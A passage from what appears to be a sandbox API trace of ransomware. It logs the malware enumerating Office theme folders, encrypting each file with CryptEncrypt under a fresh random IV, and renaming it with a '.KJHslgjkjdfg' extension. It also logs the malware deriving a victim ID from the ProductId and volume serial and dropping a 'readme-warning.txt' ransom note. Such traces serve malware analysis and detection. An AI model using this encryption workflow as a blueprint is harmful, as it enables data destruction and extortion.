lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.028] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.029] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.029] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.029] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.029] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.029] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.029] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5093, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x5093, lpOverlapped=0x0) returned 1 [0146.030] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x50a0, dwBufLen=0x50a0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x50a0) returned 1 [0146.030] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.030] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x50a0, lpOverlapped=0x0) returned 1 [0146.031] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.031] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.031] SetEndOfFile (hFile=0x118) returned 1 [0146.034] GetProcessHeap () returned 0x2a0000 [0146.034] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.034] GetProcessHeap () returned 0x2a0000 [0146.034] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.041] CloseHandle (hObject=0x118) returned 1 [0146.042] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.042] GetProcessHeap () returned 0x2a0000 [0146.042] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.042] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.042] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.042] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.042] GetProcessHeap () returned 0x2a0000 [0146.042] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.042] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.042] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.042] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.043] GetProcessHeap () returned 0x2a0000 [0146.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.043] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.043] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.043] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.043] GetProcessHeap () returned 0x2a0000 [0146.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.043] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.043] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.043] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.044] GetProcessHeap () returned 0x2a0000 [0146.044] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.044] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.044] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.044] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.044] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.044] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.044] RegCloseKey (hKey=0x118) returned 0x0 [0146.044] GetProcessHeap () returned 0x2a0000 [0146.044] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.044] GetProcessHeap () returned 0x2a0000 [0146.044] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.044] GetProcessHeap () returned 0x2a0000 [0146.044] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.044] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.044] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.044] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.044] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.045] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.045] GetProcessHeap () returned 0x2a0000 [0146.045] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.045] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.045] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.045] GetProcessHeap () returned 0x2a0000 [0146.045] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.045] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\readme-warning.txt") returned 81 [0146.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.046] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.051] CloseHandle (hObject=0x118) returned 1 [0146.052] GetProcessHeap () returned 0x2a0000 [0146.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.052] GetProcessHeap () returned 0x2a0000 [0146.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.052] GetProcessHeap () returned 0x2a0000 [0146.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.052] GetProcessHeap () returned 0x2a0000 [0146.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.052] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.052] GetProcessHeap () returned 0x2a0000 [0146.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.052] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0146.052] GetProcessHeap () returned 0x2a0000 [0146.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0146.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.053] GetProcessHeap () returned 0x2a0000 [0146.053] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0146.053] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.053] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0146.053] GetProcessHeap () returned 0x2a0000 [0146.053] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0146.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.054] GetProcessHeap () returned 0x2a0000 [0146.054] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.054] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.054] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.054] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0146.056] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.056] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.056] GetProcessHeap () returned 0x2a0000 [0146.056] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.056] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.056] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.057] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.057] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.057] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.057] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.057] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.057] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.057] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.057] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.057] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.057] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc2ba, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xc2ba, lpOverlapped=0x0) returned 1 [0146.059] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xc2c0, dwBufLen=0xc2c0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xc2c0) returned 1 [0146.059] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.059] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc2c0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xc2c0, lpOverlapped=0x0) returned 1 [0146.060] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.060] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xc394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.060] SetEndOfFile (hFile=0x118) returned 1 [0146.063] GetProcessHeap () returned 0x2a0000 [0146.063] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.063] GetProcessHeap () returned 0x2a0000 [0146.063] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.kjhslgjkjdfg")) returned 1 [0146.069] CloseHandle (hObject=0x118) returned 1 [0146.069] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0146.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.069] GetProcessHeap () returned 0x2a0000 [0146.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.070] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.070] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.070] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0146.071] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.071] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.071] GetProcessHeap () returned 0x2a0000 [0146.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.072] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.072] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.072] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.072] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.072] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.072] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.073] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.073] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.073] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.073] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.073] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.073] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x227, lpOverlapped=0x0) returned 1 [0146.073] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230, dwBufLen=0x230 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230) returned 1 [0146.073] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.073] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x230, lpOverlapped=0x0) returned 1 [0146.074] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.074] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.074] SetEndOfFile (hFile=0x118) returned 1 [0146.077] GetProcessHeap () returned 0x2a0000 [0146.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.077] GetProcessHeap () returned 0x2a0000 [0146.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.kjhslgjkjdfg")) returned 1 [0146.085] CloseHandle (hObject=0x118) returned 1 [0146.085] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, 